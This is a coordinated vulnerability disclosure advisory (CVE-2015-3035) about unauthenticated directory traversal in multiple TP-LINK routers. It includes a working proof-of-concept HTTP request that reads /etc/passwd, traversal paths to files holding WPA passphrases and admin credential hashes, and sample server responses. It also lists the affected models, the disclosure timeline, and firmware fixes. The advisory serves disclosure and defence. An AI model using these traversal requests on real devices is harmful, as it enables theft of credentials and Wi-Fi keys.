Unauthenticated Local File Disclosure in Multiple TP-LINK Products

SEC Consult Vulnerability Lab Security Advisory < 20150410-0 >

=======================================================================

title: Unauthenticated Local File Disclosure

product: Multiple TP-LINK products (see Vulnerable / tested versions)

vulnerable version: Multiple (see Vulnerable / tested versions)

fixed version: see Solution

CVE number: CVE-2015-3035

impact: Critical

homepage: tp-link.com

found: 2015-02-19

by: Stefan Viehböck (Office Vienna)

SEC Consult Vulnerability Lab

An integrated part of SEC Consult

Berlin - Frankfurt/Main - Montreal - Singapore

Vienna (HQ) - Vilnius - Zurich

www.sec-consult.com

=======================================================================

Vendor description:

-------------------

"TP-LINK is a global provider of SOHO & SMB networking products and the World's

No.1 provider of WLAN products, with products available in over 120 countries

to tens of millions customers. Committed to intensive R&D, efficient production

and strict quality management, TP-LINK continues to provide award-winning

networking products in Wireless, ADSL, Routers, Switches, IP Cameras, Powerline

Adapters, Print Servers, Media Converters and Network Adapters for Global

end-users."

Source: www.tp-link.us/about/

 

Business recommendation:

------------------------

Attackers can read sensitive configuration files without prior authentication.

These files e.g. include the administrator credentials and the WPA passphrase.

TP-LINK has provided fixed firmware which should be installed immediately.

 

Vulnerability overview/description:

-----------------------------------

Because of insufficient input validation, arbitrary local files can be

disclosed. Files that include passwords and other sensitive information can

be accessed.

 

Proof of concept:

-----------------

The following HTTP request shows how directory traversal can be used to gain

access to files without prior authentication:

===============================================================================
GET /login/../../../etc/passwd HTTP/1.1
Host: $host
 
===============================================================================

The server response includes the contents of the file:
===============================================================================

The server response includes the contents of the file:

===============================================================================
HTTP/1.1 200 OK
Server: Router Webserver
Connection: Keep-Alive
Keep-Alive:
Persist:
WWW-Authenticate: Basic realm="TP-LINK Wireless Dual Band Gigabit Router WDR4300"
Content-Length: 683
Content-Type: text/html
root:x:0:0:root:/root:/bin/sh
Admin:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/bin/sh
daemon:x:2:2:daemon:/usr/sbin:/bin/sh
adm:x:3:4:adm:/adm:/bin/sh
lp:x:4:7:lp:/var/spool/lpd:/bin/sh
sync:x:5:0:sync:/bin:/bin/sync
shutdown:x:6:11:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
uucp:x:10:14:uucp:/var/spool/uucp:/bin/sh
operator:x:11:0:Operator:/var:/bin/sh
nobody:x:65534:65534:nobody:/home:/bin/sh
ap71:x:500:0:Linux User,,,:/root:/bin/sh
dropbear:x:500:500:dropbear:/tmp/dropbear:/bin/sh
admin:x:500:500:admin:/home:/bin/sh
guest:x:500:500:guest:/home:/bin/sh
dropbear:x:500:500:dropbear:/tmp/dropbear:/bin/sh
dropbear:x:500:500:dropbear:/tmp/dropbear:/bin/sh
===============================================================================

Several sensitive files can be read. These include:

Files containing Wi-Fi configuration including WPA-passphrase:

/login/../../../tmp/ath.ap_bss

/login/../../../tmp/ath1.ap_bss

A file containing administrator credentials (format: $user:md5($password), which can

be brute-forced very efficiently:

/login/../../../tmp/dropbear/dropbearpwd

 

Example server response:

===============================================================================
HTTP/1.1 200 OK
Server: Router Webserver
Connection: Keep-Alive
Keep-Alive:
Persist:
WWW-Authenticate: Basic realm="TP-LINK Wireless Dual Band Gigabit Router WDR4300"
Content-Length: 56
Content-Type: text/html
username:admin
password:11d0fc2ff3e7862d8a3f9b280e6d390c
===============================================================================

 

Vulnerable / tested versions:

-----------------------------

The vulnerability affects the following products:

TP-LINK Archer C5 (Hardware version 1.2)

TP-LINK Archer C7 (Hardware version 2.0)

TP-LINK Archer C8 (Hardware version 1.0)

TP-LINK Archer C9 (Hardware version 1.0)

TP-LINK TL-WDR3500 (Hardware version 1.0)

TP-LINK TL-WDR3600 (Hardware version 1.0)

TP-LINK TL-WDR4300 (Hardware version 1.0)

TP-LINK TL-WR740N (Hardware version 5.0)

TP-LINK TL-WR741ND (Hardware version 5.0)

TP-LINK TL-WR841N (Hardware version 9.0)

TP-LINK TL-WR841N (Hardware version 10.0)

TP-LINK TL-WR841ND (Hardware version 9.0)

TP-LINK TL-WR841ND (Hardware version 10.0)

 

Vendor contact timeline:

------------------------

2015-02-19: Contacting vendor through support@tp-link.com.

2015-02-24: Resending email as previous ticket has been closed by TP-LINK.

2015-02-24: Contacting technical support engineer of TP-LINK, contact received

by 3rd party.

2015-02-25: Requesting encryption keys, providing affected models.

2015-02-26: No encryption keys available, sending advisory in unencrypted form.

2015-02-28: Vendor confirms vulnerability, provides beta firmware.

2015-03-03: Sending confirmation that beta firmware fixes the vulnerability.

2015-03-06: Vendor is working on release schedule, affected devices.

2015-03-16: Vendor announces that fixed firmware will be released by the end of

March.

2015-03-24: Vendor confirms that firmware releases are on schedule.

2015-04-08: Vendor provides final list of affected products & download URLs.

2015-04-10: Coordinated release of security advisory.

 

Solution:

---------

Update to the most recent firmware version:

TP-LINK Archer C5 (Hardware version 1.2): www.tp-link.com/en/handlers/download.ashx

TP-LINK Archer C7 (Hardware version 2.0): www.tp-link.com/en/handlers/download.ashx

TP-LINK Archer C8 (Hardware version 1.0): www.tp-link.com/en/handlers/download.ashx

TP-LINK Archer C9 (Hardware version 1.0): www.tp-link.com/en/handlers/download.ashx

TP-LINK TL-WDR3500 (Hardware version 1.0): www.tp-link.com/en/handlers/download.ashx

TP-LINK TL-WDR3600 (Hardware version 1.0): www.tp-link.com/en/handlers/download.ashx

TP-LINK TL-WDR4300 (Hardware version 1.0): www.tp-link.com/en/handlers/download.ashx

TP-LINK TL-WR740N (Hardware version 5.0): www.tp-link.com/en/handlers/download.ashx

TP-LINK TL-WR741ND (Hardware version 5.0): www.tp-link.com/en/handlers/download.ashx

TP-LINK TL-WR841N (Hardware version 9.0): www.tp-link.com/en/handlers/download.ashx

TP-LINK TL-WR841N (Hardware version 10.0): www.tp-link.com/en/handlers/download.ashx

TP-LINK TL-WR841ND (Hardware version 9.0): www.tp-link.com/en/handlers/download.ashx

TP-LINK TL-WR841ND (Hardware version 10.0): www.tp-link.com/en/handlers/download.ashx

 

Workaround:

-----------

See solution.

 

Advisory URL:

-------------

www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm

 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

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EOF Stefan Viehböck / @2015